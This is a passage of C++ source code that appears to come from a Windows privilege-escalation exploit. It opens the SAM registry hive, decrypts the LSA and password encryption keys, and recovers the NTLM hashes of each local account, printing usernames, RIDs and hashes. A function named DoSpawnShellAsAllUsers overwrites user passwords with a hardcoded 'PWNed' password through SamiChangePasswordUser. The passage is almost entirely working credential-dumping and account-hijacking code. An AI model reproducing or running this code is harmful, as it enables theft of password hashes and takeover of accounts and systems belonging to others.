&hcryptkey); 1855 1856 DWORD mode = CRYPT_MODE_CBC; 1857 CryptSetKeyParam(hcryptkey, KP_IV, (const BYTE*)iv, NULL); 1858 1859 CryptSetKeyParam(hcryptkey, KP_MODE, (const BYTE*)&mode, NULL); 1860 1861 DWORD retsz = enclen; 1862 1863 CryptDecrypt(hcryptkey, NULL, TRUE, CRYPT_DECRYPT_RSA_NO_PADDING_CHECK, (BYTE*)decrypted, &retsz); 1864 1865 1866 /* 1867 EVP_CIPHER_CTX* en = EVP_CIPHER_CTX_new(); 1868 1869 int fulllen = 0; 1870 int retval = EVP_DecryptInit(en, EVP_aes_128_cbc(), (const unsigned char*)lsaKey, (const unsigned char*)iv); 1871 if (!retval) 1872 return NULL; 1873 1874 //int decryptedsz = enclen; 1875 retval = EVP_DecryptUpdate(en, (unsigned char*)decrypted, (int*)&enclen, (const unsigned char*)hashdata, enclen); 1876 if (!retval) 1877 return NULL; 1878 retval = EVP_DecryptFinal_ex(en, (unsigned char*)decrypted + enclen, &fulllen); 1879 EVP_CIPHER_CTX_free(en); 1880 if (!retval) 1881 return NULL; 1882 */ 1883 if (decryptedlen) 1884 *decryptedlen = retsz; 1885 1886 return decrypted; 1887 1888 } 1889 1890 #ifndef SHA256_DIGEST_LENGTH 1891 #define SHA256_DIGEST_LENGTH 32 1892 #endif 1893 1894 bool ComputeSHA256(char* data, int size, char hashout[SHA256_DIGEST_LENGTH]) 1895 { 1896 1897 1898 char* data2 = (char*)malloc(SHA256_DIGEST_LENGTH); 1899 ZeroMemory(data2, SHA256_DIGEST_LENGTH); 1900 HCRYPTPROV hprov = NULL; 1901 CryptAcquireContext(&hprov, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT); 1902 HCRYPTHASH Hhash = NULL; 1903 CryptCreateHash(hprov, CALG_SHA_256, NULL, NULL, &Hhash); 1904 CryptHashData(Hhash, (const BYTE*)data, size, NULL); 1905 DWORD md_len = 0; 1906 DWORD inputsz = sizeof(md_len); 1907 CryptGetHashParam(Hhash, HP_HASHSIZE, (BYTE*)&md_len, &inputsz, NULL); 1908 //inputsz = size; 1909 CryptGetHashParam(Hhash, HP_HASHVAL, (BYTE*)hashout, &md_len, NULL); 1910 1911 CryptDestroyHash(Hhash); 1912 CryptReleaseContext(hprov, NULL); 1913 /* 1914 EVP_MD_CTX* en = EVP_MD_CTX_new(); 1915 1916 bool retval = EVP_DigestInit(en, EVP_sha256()); 1917 if (!retval) 1918 return retval; 1919 retval = EVP_DigestUpdate(en, data, size); 1920 if (!retval) 1921 return retval; 1922 EVP_DigestFinal(en, (unsigned char*)hashout, NULL); 1923 */ 1924 //return retval; 1925 return true; 1926 1927 1928 1929 } 1930 1931 void* UnprotectPasswordEncryptionKeyAES(char* data, char* lsaKey, int* keysz) 1932 { 1933 1934 int hashlen = data[0]; 1935 int enclen = data[4]; 1936 1937 char iv[16] = { 0 }; 1938 memmove(iv, &data[8], sizeof(iv)); 1939 1940 char* cyphertext = (char*)malloc(enclen); 1941 memmove(cyphertext, &data[0x18], enclen); 1942 1943 // first arg, lsaKey | second arg, iv | thid arg, ciphertext 1944 int outsz = 0; 1945 int pekoutsz = 0; 1946 char* pek = (char*)UnprotectAES(lsaKey, iv, cyphertext, enclen, &pekoutsz); 1947 1948 char* hashdata = (char*)malloc(hashlen); 1949 memmove(hashdata, &data[0x18 + enclen], hashlen); 1950 1951 char* hash = (char*)UnprotectAES(lsaKey, iv, hashdata, hashlen, &outsz); 1952 1953 1954 char hash256[SHA256_DIGEST_LENGTH]; 1955 1956 if (!ComputeSHA256(pek, pekoutsz, hash256)) 1957 { 1958 return NULL; 1959 } 1960 1961 if (memcmp(hash256, hash, sizeof(hash256)) != 0) 1962 { 1963 printf("Invalid AES password key.\n"); 1964 return NULL; 1965 } 1966 if (keysz) 1967 *keysz = sizeof(hash256); 1968 1969 1970 return pek; 1971 1972 } 1973 1974 void* UnprotectPasswordEncryptionKey(char* samKey, unsigned char* lsaKey, int* keysz) 1975 { 1976 1977 int enctype = samKey[0x68]; 1978 if (enctype == 2) { 1979 int endofs = samKey[0x6c] + 0x68; 1980 int len = endofs - 0x70; 1981 1982 char* data = (char*)malloc(len); 1983 memmove(data, &samKey[0x70], len); 1984 void* retval = UnprotectPasswordEncryptionKeyAES(data, (char*)lsaKey, keysz); 1985 1986 return retval; 1987 } 1988 __debugbreak(); 1989 return NULL; 1990 1991 } 1992 1993 void* UnprotectPasswordHashAES(char* key, int keysz, char* data, int datasz, int* outsz) 1994 { 1995 int length = data[4]; 1996 if (!length) 1997 return NULL; 1998 char iv[16] = { 0 }; 1999 memmove(iv, &data[8], sizeof(iv)); 2000 2001 int ciphertextsz = datasz - 24; 2002 char* ciphertext = (char*)malloc(ciphertextsz); 2003 memmove(ciphertext, &data[8 + sizeof(iv)], ciphertextsz); 2004 return UnprotectAES(key, iv, ciphertext, ciphertextsz, outsz); 2005 } 2006 2007 void* UnprotectPasswordHash(char* key, int keysz, char* data, int datasz, ULONG rid, int* outsz) 2008 { 2009 int enctype = data[2]; 2010 2011 switch (enctype) 2012 { 2013 case 2: 2014 2015 return UnprotectPasswordHashAES(key, keysz, data, datasz, outsz); 2016 2017 break; 2018 default: 2019 __debugbreak(); 2020 break; 2021 } 2022 2023 return NULL; 2024 2025 2026 } 2027 2028 void* UnprotectDES(char* key, int keysz, char* ciphertext, int ciphertextsz, int* outsz) 2029 { 2030 2031 char* ciphertext2 = (char*)malloc(ciphertextsz); 2032 memmove(ciphertext2, ciphertext, ciphertextsz); 2033 HCRYPTPROV hprov = NULL; 2034 CryptAcquireContext(&hprov, 0, NULL, PROV_RSA_FULL, CRYPT_VERIFYCONTEXT); 2035 2036 struct deskeyBlob 2037 { 2038 BLOBHEADER hdr; 2039 DWORD keySize; 2040 BYTE bytes[8]; 2041 }blob; 2042 //deskeyBlob* blob = (deskeyBlob*)malloc(sizeof(deskeyBlob) + keysz); 2043 blob.hdr.bType = PLAINTEXTKEYBLOB; 2044 blob.hdr.bVersion = CUR_BLOB_VERSION; 2045 blob.hdr.reserved = 0; 2046 blob.hdr.aiKeyAlg = CALG_DES; 2047 blob.keySize = 8; 2048 memmove(blob.bytes, key, 8); 2049 HCRYPTKEY hcryptkey = NULL; 2050 CryptImportKey(hprov, (const BYTE*)&blob, sizeof(deskeyBlob), NULL, NULL, &hcryptkey); 2051 2052 DWORD mode = CRYPT_MODE_ECB; 2053 CryptSetKeyParam(hcryptkey, KP_MODE, (const BYTE*)&mode, NULL); 2054 2055 DWORD retsz = ciphertextsz; 2056 2057 CryptDecrypt(hcryptkey, NULL, TRUE, CRYPT_DECRYPT_RSA_NO_PADDING_CHECK, (BYTE*)ciphertext2, &retsz); 2058 2059 if (outsz) 2060 *outsz = 8; 2061 2062 //printf("GetLastError : %x\n", GetLastError()); 2063 CryptReleaseContext(hprov, NULL); 2064 return ciphertext2; 2065 2066 /* 2067 DWORD mode = CRYPT_MODE_ECB; 2068 CryptSetKeyParam(hcryptkey, KP_MODE, (const BYTE*)&mode, NULL); 2069 printf("GetLastError : %x\n", GetLastError()); 2070 2071 DWORD retsz = enclen; 2072 2073 CryptDecrypt(hcryptkey, NULL, TRUE, CRYPT_DECRYPT_RSA_NO_PADDING_CHECK, (BYTE*)decrypted, &retsz); 2074 printf("GetLastError : %x\n", GetLastError()); 2075 */ 2076 /* 2077 OSSL_PROVIDER* legacy = OSSL_PROVIDER_load(NULL, "legacy"); 2078 if (legacy == NULL) 2079 { 2080 printf("Failed to load Legacy provider\n"); 2081 } 2082 2083 EVP_CIPHER_CTX* en = EVP_CIPHER_CTX_new(); 2084 2085 int fulllen = 0; 2086 int retval = EVP_DecryptInit_ex(en, EVP_des_ecb(), NULL, (const unsigned char*)key, NULL); 2087 2088 char* plaintext = (char*)malloc(ciphertextsz); 2089 int _outsz = 0; 2090 retval = EVP_DecryptUpdate(en, (unsigned char*)plaintext, &_outsz, (const unsigned char*)ciphertext, ciphertextsz); 2091 int _outlen = 0; 2092 retval = EVP_DecryptFinal_ex(en, (unsigned char*)plaintext + _outsz, &_outlen); 2093 2094 if (outsz) 2095 *outsz = _outsz; 2096 2097 return plaintext; 2098 */ 2099 } 2100 2101 char* DeriveDESKey(char data[7]) 2102 { 2103 2104 2105 union keyderv { 2106 struct { 2107 char arr[8]; 2108 }; 2109 SIZE_T derv; 2110 }; 2111 keyderv ttv = { 0 }; 2112 ZeroMemory(ttv.arr, sizeof(ttv.arr)); 2113 memmove(ttv.arr, data, sizeof(data) - 1); 2114 SIZE_T k = ttv.derv; 2115 2116 2117 char* key = (char*)malloc(sizeof(data)); 2118 2119 for (int i = 0; i < 8; i++) 2120 { 2121 int j = 7 - i; 2122 int curr = (k >> (7 * j)) & 0x7F; 2123 int b = curr; 2124 b ^= b >> 4; 2125 b ^= b >> 2; 2126 b ^= b >> 1; 2127 int keybyte = (curr << 1) ^ (b & 1) ^ 1; 2128 key[i] = (char)keybyte; 2129 } 2130 return key; 2131 } 2132 2133 void* UnproctectPasswordHashDES(char* ciphertext, int ciphersz, int* outsz, ULONG rid) 2134 { 2135 2136 union keydata { 2137 struct { 2138 char a; 2139 char b; 2140 char c; 2141 char d; 2142 }; 2143 ULONG data; 2144 }; 2145 2146 keydata keycontent = { 0 }; 2147 keycontent.data = rid; 2148 char key1[7] = { keycontent.c,keycontent.b,keycontent.a,keycontent.d, keycontent.c, keycontent.b,keycontent.a }; 2149 char key2[7] = { keycontent.b,keycontent.a,keycontent.d,keycontent.c, keycontent.b, keycontent.a,keycontent.d }; 2150 2151 char* rkey1 = DeriveDESKey(key1); 2152 char* rkey2 = DeriveDESKey(key2); 2153 2154 2155 int plaintext1sz = 0; 2156 int plaintext2sz = 0; 2157 char* plaintext1 = (char*)UnprotectDES(rkey1, sizeof(key1), ciphertext, ciphersz, &plaintext1sz); 2158 if (!plaintext1) 2159 return NULL; 2160 char* plaintext2 = (char*)UnprotectDES(rkey2, sizeof(key2), &ciphertext[8], ciphersz, &plaintext2sz); 2161 if (!plaintext2) 2162 return NULL; 2163 void* retval = malloc(plaintext1sz + plaintext2sz); 2164 2165 memmove(retval, plaintext1, plaintext1sz); 2166 memmove(RtlOffsetToPointer(retval, plaintext1sz), plaintext2, plaintext2sz); 2167 if (outsz) 2168 *outsz = plaintext1sz + plaintext2sz; 2169 return retval; 2170 } 2171 2172 void* UnprotectNTHash(char* key, int keysz, char* encryptedHash, int enchashsz, int* outsz, ULONG rid) 2173 { 2174 int _outsz = 0; 2175 void* dec = UnprotectPasswordHash(key, keysz, encryptedHash, enchashsz, rid, &_outsz); 2176 if (!dec) 2177 return NULL; 2178 int _hashoutsz = 0; 2179 void* _hash = UnproctectPasswordHashDES((char*)dec, _outsz, &_hashoutsz, rid); 2180 if (outsz) 2181 *outsz = _hashoutsz; 2182 return _hash; 2183 } 2184 2185 unsigned char* HexToHexString(unsigned char* data, int size) 2186 { 2187 unsigned char* retval = (unsigned char*)malloc(size * 2 + 1); 2188 ZeroMemory(retval, size + 1); 2189 for (int i = 0; i < size; i++) 2190 { 2191 sprintf((char*)&retval[i * 2], "%02x", data[i]); 2192 } 2193 2194 return retval; 2195 } 2196 2197 #define SAM_DATABASE_DATA_ACCESS_OFFSET 0xcc 2198 #define SAM_DATABASE_USERNAME_OFFSET 0x0c 2199 #define SAM_DATABASE_USERNAME_LENGTH_OFFSET 0x10 2200 #define SAM_DATABASE_LM_HASH_OFFSET 0x9c 2201 #define SAM_DATABASE_LM_HASH_LENGTH_OFFSET 0xa0 2202 #define SAM_DATABASE_NT_HASH_OFFSET 0xa8 2203 #define SAM_DATABASE_NT_HASH_LENGTH_OFFSET 0xac 2204 2205 struct PwdEnc 2206 { 2207 char* buff; 2208 size_t sz; 2209 wchar_t* username; 2210 ULONG usernamesz; 2211 char* LMHash; 2212 ULONG LMHashLenght; 2213 char* NTHash; 2214 ULONG NTHashLenght; 2215 ULONG rid; 2216 2217 }; 2218 2219 2220 NTSTATUS WINAPI SamConnect(IN PUNICODE_STRING ServerName, OUT HANDLE* ServerHandle, IN ACCESS_MASK DesiredAccess, IN BOOLEAN Trusted); 2221 NTSTATUS WINAPI SamCloseHandle(IN HANDLE SamHandle); 2222 NTSTATUS WINAPI SamOpenDomain(IN HANDLE SamHandle, IN ACCESS_MASK DesiredAccess, IN PSID DomainId, OUT HANDLE* DomainHandle); 2223 NTSTATUS WINAPI SamOpenUser(IN HANDLE DomainHandle, IN ACCESS_MASK DesiredAccess, IN DWORD UserId, OUT HANDLE* UserHandle); 2224 NTSTATUS WINAPI SamiChangePasswordUser(IN HANDLE UserHandle, IN BOOL isOldLM, IN const BYTE* oldLM, IN const BYTE* newLM, IN BOOL isNewNTLM, IN const BYTE* oldNTLM, IN const BYTE* newNTLM); 2225 2226 2227 char* CalculateNTLMHash(char* _input) 2228 { 2229 2230 int pw_len = strlen(_input); 2231 char* input = new char[pw_len * 2]; 2232 for (int i = 0; i < pw_len; i++) 2233 { 2234 input[i * 2] = _input[i]; 2235 input[i * 2 + 1] = '\0'; 2236 } 2237 2238 2239 unsigned int md_len = 0; 2240 2241 HCRYPTPROV hprov = NULL; 2242 2243 CryptAcquireContext(&hprov, NULL, NULL, PROV_RSA_FULL, CRYPT_VERIFYCONTEXT); 2244 2245 HCRYPTHASH Hhash = NULL; 2246 CryptCreateHash(hprov, CALG_MD4, NULL, NULL, &Hhash); 2247 2248 CryptHashData(Hhash, (const BYTE*)input, pw_len * 2, NULL); 2249 2250 DWORD inputsz = sizeof(md_len); 2251 CryptGetHashParam(Hhash, HP_HASHSIZE, (BYTE*)&md_len, &inputsz, NULL); 2252 unsigned char* md_value = (unsigned char*)malloc(md_len); 2253 inputsz = md_len; 2254 CryptGetHashParam(Hhash, HP_HASHVAL, (BYTE*)md_value, &inputsz, NULL); 2255 2256 CryptDestroyHash(Hhash); 2257 CryptReleaseContext(hprov, NULL); 2258 /* 2259 EVP_MD_CTX* mdctx = EVP_MD_CTX_new(); 2260 EVP_DigestInit_ex(mdctx, EVP_md4(), NULL); 2261 EVP_DigestUpdate(mdctx, input, pw_len * 2); 2262 EVP_DigestFinal_ex(mdctx, md_value, &md_len); 2263 EVP_MD_CTX_free(mdctx); 2264 */ 2265 /* 2266 printf("Digest is: "); 2267 for (int i = 0; i < md_len; i++) 2268 printf("%02x", md_value[i]); 2269 printf("\n"); 2270 */ 2271 return (char*)md_value; 2272 2273 } 2274 bool ChangeUserPassword(wchar_t* username, void* nthash, char* newpassword, char* newNTLMHash = NULL) 2275 { 2276 2277 wchar_t libpath[MAX_PATH] = { 0 }; 2278 ExpandEnvironmentStrings(L"%windir%\\System32\\samlib.dll",libpath,MAX_PATH); 2279 2280 HMODULE hm = LoadLibrary(libpath); 2281 if (!hm) 2282 { 2283 printf("Failed to load samlib.dll\n"); 2284 return false; 2285 } 2286 NTSTATUS(WINAPI * _SamConnect) 2287 (IN PUNICODE_STRING ServerName, OUT HANDLE * ServerHandle, IN ACCESS_MASK DesiredAccess, IN BOOLEAN Trusted) = (NTSTATUS(WINAPI*)(IN PUNICODE_STRING ServerName, OUT HANDLE * ServerHandle, IN ACCESS_MASK DesiredAccess, IN BOOLEAN Trusted))GetProcAddress(hm, "SamConnect"); 2288 NTSTATUS(WINAPI * _SamCloseHandle)(IN HANDLE SamHandle) = (NTSTATUS(WINAPI*)(IN HANDLE SamHandle))GetProcAddress(hm, "SamCloseHandle"); 2289 NTSTATUS(WINAPI * _SamOpenDomain)(IN HANDLE SamHandle, IN ACCESS_MASK DesiredAccess, IN PSID DomainId, OUT HANDLE * DomainHandle) 2290 = (NTSTATUS(WINAPI*)(IN HANDLE SamHandle, IN ACCESS_MASK DesiredAccess, IN PSID DomainId, OUT HANDLE * DomainHandle))GetProcAddress(hm, "SamOpenDomain"); 2291 NTSTATUS(WINAPI * _SamOpenUser)(IN HANDLE DomainHandle, IN ACCESS_MASK DesiredAccess, IN DWORD UserId, OUT HANDLE * UserHandle) = (NTSTATUS(WINAPI*)(IN HANDLE DomainHandle, IN ACCESS_MASK DesiredAccess, IN DWORD UserId, OUT HANDLE * UserHandle))GetProcAddress(hm, "SamOpenUser"); 2292 NTSTATUS(WINAPI * _SamiChangePasswordUser)(IN HANDLE UserHandle, IN BOOL isOldLM, IN const BYTE * oldLM, IN const BYTE * newLM, IN BOOL isNewNTLM, IN const BYTE * oldNTLM, IN const BYTE * newNTLM) = (NTSTATUS(WINAPI*)(IN HANDLE UserHandle, IN BOOL isOldLM, IN const BYTE * oldLM, IN const BYTE * newLM, IN BOOL isNewNTLM, IN const BYTE * oldNTLM, IN const BYTE * newNTLM))GetProcAddress(hm, "SamiChangePasswordUser"); 2293 2294 2295 if (!_SamConnect || !_SamCloseHandle || !_SamOpenDomain || !_SamOpenUser || !_SamiChangePasswordUser) 2296 { 2297 printf("Failed to import required functions from samlib.dll\n"); 2298 return false; 2299 } 2300 2301 HANDLE hsrv = NULL; 2302 NTSTATUS stat = _SamConnect(NULL, &hsrv, MAXIMUM_ALLOWED, false); 2303 if (stat) 2304 { 2305 printf("Failed to connect to SAM, error : 0x%0.8X\n", stat); 2306 return false; 2307 } 2308 //printf("Connected to local SAM.\n"); 2309 LSA_OBJECT_ATTRIBUTES loa = { 0 }; 2310 LSA_HANDLE hlsa = NULL; 2311 stat = LsaOpenPolicy(NULL, &loa, MAXIMUM_ALLOWED, &hlsa); 2312 if (stat) 2313 { 2314 printf("LsaOpenPolicy failed, error : 0x%0.8X\n", stat); 2315 return false; 2316 } 2317 2318 POLICY_ACCOUNT_DOMAIN_INFO* domaininfo = 0; 2319 stat = LsaQueryInformationPolicy(hlsa, PolicyAccountDomainInformation, (PVOID*)&domaininfo); 2320 if (stat) 2321 { 2322 printf("LsaQueryInformationPolicy failed, error : 0x%0.8X\n", stat); 2323 return false; 2324 } 2325 /*wchar_t* stringsid = 0; 2326 if (!ConvertSidToStringSid(domaininfo->DomainSid, &stringsid)) 2327 { 2328 printf("Failed to get string sid, error : %d\n", GetLastError()); 2329 return false; 2330 } 2331 printf("Machine SID : %ws\n", stringsid);*/ 2332 LSA_REFERENCED_DOMAIN_LIST* lsareflist = 0; 2333 LSA_TRANSLATED_SID* lsatrans = 0; 2334 LSA_UNICODE_STRING lsaunistr = { 0 }; 2335 RtlInitUnicodeString((PUNICODE_STRING)&lsaunistr, username); 2336 stat = LsaLookupNames(hlsa, 1, &lsaunistr, &lsareflist, &lsatrans); 2337 if (stat) 2338 { 2339 printf("LsaLookupNames failed, error : 0x%0.8X\n", stat); 2340 return false; 2341 } 2342 LsaClose(hlsa); 2343 2344 HANDLE hdomain = NULL; 2345 stat = _SamOpenDomain(hsrv, MAXIMUM_ALLOWED, domaininfo->DomainSid, &hdomain); 2346 if (stat) 2347 { 2348 printf("SamOpenDomain failed, error : 0x%0.8X\n", stat); 2349 return false; 2350 } 2351 2352 HANDLE huser = NULL; 2353 stat = _SamOpenUser(hdomain, MAXIMUM_ALLOWED, lsatrans->RelativeId, &huser); 2354 if (stat) 2355 { 2356 printf("SamOpenUser failed, error : 0x%0.8X\n", stat); 2357 return false; 2358 } 2359 2360 //char password[] = "testp"; 2361 //char* oldNTLM = CalculateNTLMHash((char*)"testp"); 2362 char* oldNTLM = (char*)nthash; 2363 char* newNTLM = newNTLMHash ? newNTLMHash : CalculateNTLMHash(newpassword); 2364 2365 char oldLm[16] = { 0 }; 2366 char newLm[16] = { 0 }; 2367 stat = _SamiChangePasswordUser(huser, false, (BYTE*)oldLm, (BYTE*)newLm, true, (BYTE*)oldNTLM, (BYTE*)newNTLM); 2368 2369 if (stat) 2370 { 2371 printf("SamiChangePasswordUser failed, error : 0x%0.8X\n", stat); 2372 return false; 2373 } 2374 _SamCloseHandle(huser); 2375 _SamCloseHandle(hdomain); 2376 _SamCloseHandle(hsrv); 2377 /* 2378 if (newpassword) { 2379 printf("Info : user \"%ws\" password has changed to %s\n", username, newpassword); 2380 } 2381 else { 2382 printf("Info : user \"%ws\" password has been changed back to older password\n", username); 2383 } 2384 */ 2385 return true; 2386 } 2387 2388 2389 2390 typedef struct _SYSTEM_PROCESS_INFORMATION2 2391 { 2392 ULONG NextEntryOffset; 2393 ULONG NumberOfThreads; 2394 LARGE_INTEGER WorkingSetPrivateSize; // since VISTA 2395 ULONG HardFaultCount; // since WIN7 2396 ULONG NumberOfThreadsHighWatermark; // since WIN7 2397 ULONGLONG CycleTime; // since WIN7 2398 LARGE_INTEGER CreateTime; 2399 LARGE_INTEGER UserTime; 2400 LARGE_INTEGER KernelTime; 2401 UNICODE_STRING ImageName; 2402 KPRIORITY BasePriority; 2403 HANDLE UniqueProcessId; 2404 HANDLE InheritedFromUniqueProcessId; 2405 ULONG HandleCount; 2406 ULONG SessionId; 2407 ULONG_PTR UniqueProcessKey; // since VISTA (requires SystemExtendedProcessInformation) 2408 SIZE_T PeakVirtualSize; 2409 SIZE_T VirtualSize; 2410 ULONG PageFaultCount; 2411 SIZE_T PeakWorkingSetSize; 2412 SIZE_T WorkingSetSize; 2413 SIZE_T QuotaPeakPagedPoolUsage; 2414 SIZE_T QuotaPagedPoolUsage; 2415 SIZE_T QuotaPeakNonPagedPoolUsage; 2416 SIZE_T QuotaNonPagedPoolUsage; 2417 SIZE_T PagefileUsage; 2418 SIZE_T PeakPagefileUsage; 2419 SIZE_T PrivatePageCount; 2420 LARGE_INTEGER ReadOperationCount; 2421 LARGE_INTEGER WriteOperationCount; 2422 LARGE_INTEGER OtherOperationCount; 2423 LARGE_INTEGER ReadTransferCount; 2424 LARGE_INTEGER WriteTransferCount; 2425 LARGE_INTEGER OtherTransferCount; 2426 SYSTEM_THREAD_INFORMATION Threads[1]; // SystemProcessInformation 2427 // SYSTEM_EXTENDED_THREAD_INFORMATION Threads[1]; // SystemExtendedProcessinformation 2428 // SYSTEM_EXTENDED_THREAD_INFORMATION + SYSTEM_PROCESS_INFORMATION_EXTENSION // SystemFullProcessInformation 2429 } SYSTEM_PROCESS_INFORMATION2, * PSYSTEM_PROCESS_INFORMATION2; 2430 2431 BOOL SetPrivilege( 2432 HANDLE hToken, // access token handle 2433 LPCTSTR lpszPrivilege, // name of privilege to enable/disable 2434 BOOL bEnablePrivilege // to enable or disable privilege 2435 ) 2436 { 2437 TOKEN_PRIVILEGES tp; 2438 LUID luid; 2439 2440 if (!LookupPrivilegeValue( 2441 NULL, // lookup privilege on local system 2442 lpszPrivilege, // privilege to lookup 2443 &luid)) // receives LUID of privilege 2444 { 2445 printf("LookupPrivilegeValue error: %u\n", GetLastError()); 2446 return FALSE; 2447 } 2448 2449 tp.PrivilegeCount = 1; 2450 tp.Privileges[0].Luid = luid; 2451 if (bEnablePrivilege) 2452 tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 2453 else 2454 tp.Privileges[0].Attributes = 0; 2455 2456 // Enable the privilege or disable all privileges. 2457 2458 if (!AdjustTokenPrivileges( 2459 hToken, 2460 FALSE, 2461 &tp, 2462 0, 2463 (PTOKEN_PRIVILEGES)NULL, 2464 (PDWORD)NULL)) 2465 { 2466 printf("AdjustTokenPrivileges error: %u\n", GetLastError()); 2467 return FALSE; 2468 } 2469 2470 if (GetLastError() == ERROR_NOT_ALL_ASSIGNED) 2471 2472 { 2473 printf("The token does not have the specified privilege. \n"); 2474 return FALSE; 2475 } 2476 2477 return TRUE; 2478 } 2479 2480 2481 bool DoSpawnShellAsAllUsers(wchar_t* sampath) 2482 { 2483 //SSL_library_init(); 2484 //SSL_load_error_strings(); 2485 char newpassword[] = "$PWNed666!!!WDFAIL"; 2486 wchar_t newpassword_unistr[] = L"$PWNed666!!!WDFAIL"; 2487 char* newNTLM = CalculateNTLMHash(newpassword); 2488 bool isadmin = false; 2489 char* retval = 0; 2490 ORHKEY hSAMhive = NULL; 2491 ORHKEY hSYSTEMhive = NULL; 2492 DWORD err = OROpenHive(sampath, &hSAMhive); 2493 bool systemshelllaunched = false; 2494 if (err) 2495 { 2496 printf("OROpenHive failed with error : %d\n", err); 2497 return false; 2498 } 2499 2500 unsigned char lsakey[16] = { 0 }; 2501 2502 if (!GetLSASecretKey(lsakey)) 2503 { 2504 printf("Failed to dump LSA secret keys.\n"); 2505 return false; 2506 } 2507 2508 2509 ORHKEY hkey = NULL; 2510 err = OROpenKey(hSAMhive, L"SAM\\Domains\\Account", &hkey); 2511 2512 DWORD valuesz = 0; 2513 err = ORGetValue(hkey, NULL, L"F", NULL, NULL, &valuesz); 2514 if (err) 2515 { 2516 printf("ORGetValue failed with error : %d\n", err); 2517 return false; 2518 } 2519 char* samkey = (char*)malloc(valuesz); 2520 err = ORGetValue(hkey, NULL, L"F", NULL, samkey, &valuesz); 2521 if (err) 2522 { 2523 printf("ORGetValue failed with error : %d\n", err); 2524 return false; 2525 } 2526 2527 ORCloseKey(hkey); 2528 2529 /////////////////////////////////////////////////////////// 2530 int passwordEncryptionKeysz = 0; 2531 char* passwordEncryptionKey = (char*)UnprotectPasswordEncryptionKey(samkey, lsakey, &passwordEncryptionKeysz); 2532 2533 err = OROpenKey(hSAMhive, L"SAM\\Domains\\Account\\Users", &hkey); 2534 if (err) 2535 { 2536 printf("OROpenKey failed with error : %d\n", err); 2537 return false; 2538 } 2539 2540 2541 DWORD subkeys = NULL; 2542 err = ORQueryInfoKey(hkey, NULL, NULL, &subkeys, NULL, NULL, NULL, NULL, NULL, NULL, NULL); 2543 if (err) 2544 { 2545 printf("ORQueryInfoKey failed with error : %d\n", err); 2546 return false; 2547 } 2548 2549 2550 PwdEnc** pwdenclist = (PwdEnc**)malloc(sizeof(PwdEnc*) * subkeys); 2551 int numofentries = 0; 2552 for (int i = 0; i < subkeys; i++) 2553 { 2554 DWORD keynamesz = 0x100; 2555 wchar_t keyname[0x100] = { 0 }; 2556 err = OREnumKey(hkey, i, keyname, &keynamesz, NULL, NULL, NULL); 2557 if (err) 2558 { 2559 printf("OREnumKey failed with error : %d\n", err); 2560 return false; 2561 } 2562 if (_wcsicmp(keyname, L"users") == 0) 2563 continue; 2564 ORHKEY hkey2 = NULL; 2565 err = OROpenKey(hkey, keyname, &hkey2); 2566 if (err) 2567 { 2568 printf("OROpenKey failed with error : %d\n", err); 2569 return false; 2570 } 2571 DWORD valuesz = 0; 2572 err = ORGetValue(hkey2, NULL, L"V", NULL, NULL, &valuesz); 2573 if (err == ERROR_FILE_NOT_FOUND) 2574 continue; 2575 if (err != ERROR_MORE_DATA && err != ERROR_SUCCESS) { 2576 printf("ORGetValue failed with error : %d\n", err); 2577 return false; 2578 } 2579 PwdEnc* SAMpwd = (PwdEnc*)malloc(sizeof(PwdEnc)); 2580 ZeroMemory(SAMpwd, sizeof(PwdEnc)); 2581 SAMpwd->sz = valuesz; 2582 SAMpwd->buff = (char*)malloc(valuesz); 2583 ZeroMemory(SAMpwd->buff, valuesz); 2584 err = ORGetValue(hkey2, NULL, L"V", NULL, SAMpwd->buff, &valuesz); 2585 if (err) 2586 { 2587 printf("ORGetValue failed with error : %d\n", err); 2588 return false; 2589 } 2590 SAMpwd->rid = wcstoul(keyname, NULL, 16); 2591 2592 ULONG* accnameoffset = (ULONG*)&SAMpwd->buff[SAM_DATABASE_USERNAME_OFFSET]; 2593 SAMpwd->username = (wchar_t*)RtlOffsetToPointer(SAMpwd->buff, *accnameoffset + SAM_DATABASE_DATA_ACCESS_OFFSET); 2594 ULONG* usernamesz = (ULONG*)&SAMpwd->buff[SAM_DATABASE_USERNAME_LENGTH_OFFSET]; 2595 SAMpwd->usernamesz = *usernamesz; 2596 2597 ULONG* LMhashoffset = (ULONG*)&SAMpwd->buff[SAM_DATABASE_LM_HASH_OFFSET]; 2598 SAMpwd->LMHash = (char*)RtlOffsetToPointer(SAMpwd->buff, *LMhashoffset + SAM_DATABASE_DATA_ACCESS_OFFSET); 2599 ULONG* LMhashsz = (ULONG*)&SAMpwd->buff[SAM_DATABASE_LM_HASH_LENGTH_OFFSET]; 2600 SAMpwd->LMHashLenght = *LMhashsz; 2601 2602 ULONG* NTHashoffset = (ULONG*)&SAMpwd->buff[SAM_DATABASE_NT_HASH_OFFSET]; 2603 SAMpwd->NTHash = (char*)RtlOffsetToPointer(SAMpwd->buff, *NTHashoffset + SAM_DATABASE_DATA_ACCESS_OFFSET); 2604 ULONG* NThashsz = (ULONG*)&SAMpwd->buff[SAM_DATABASE_NT_HASH_LENGTH_OFFSET]; 2605 SAMpwd->NTHashLenght = *NThashsz; 2606 2607 pwdenclist[i] = SAMpwd; 2608 numofentries++; 2609 } 2610 2611 2612 wchar_t currentusername[UNLEN + 1] = { 0 }; 2613 DWORD usernamesz = sizeof(currentusername) / sizeof(wchar_t); 2614 if (!GetUserName(currentusername, &usernamesz)) 2615 { 2616 printf("Failed to get current user name, error : %d", GetLastError()); 2617 return false; 2618 } 2619 2620 2621 for (int i = 0; i < numofentries; i++) 2622 { 2623 PwdEnc* samentry = pwdenclist[i]; 2624 int realNTLMHashsz = 0; 2625 char* realNTLMHash = (char*)UnprotectNTHash(passwordEncryptionKey, passwordEncryptionKeysz, samentry->NTHash, samentry->NTHashLenght, &realNTLMHashsz, samentry->rid); 2626 char* stringntlm = 0; 2627 char emptyrepresentation[] = "{NULL}"; 2628 if (realNTLMHashsz) 2629 { 2630 stringntlm = (char*)HexToHexString((unsigned char*)realNTLMHash, realNTLMHashsz); 2631 } 2632 else 2633 { 2634 2635 stringntlm = emptyrepresentation; 2636 } 2637 wchar_t username[UNLEN + 1] = { 0 }; 2638 if (samentry->usernamesz <= sizeof(username)) 2639 { 2640 memmove(username, samentry->username, samentry->usernamesz); 2641 } 2642 printf("******************************************\n"); 2643 printf(" User : %ws\n RID : %d\n NTLM : %s\n", username, samentry->rid, stringntlm); 2644 if 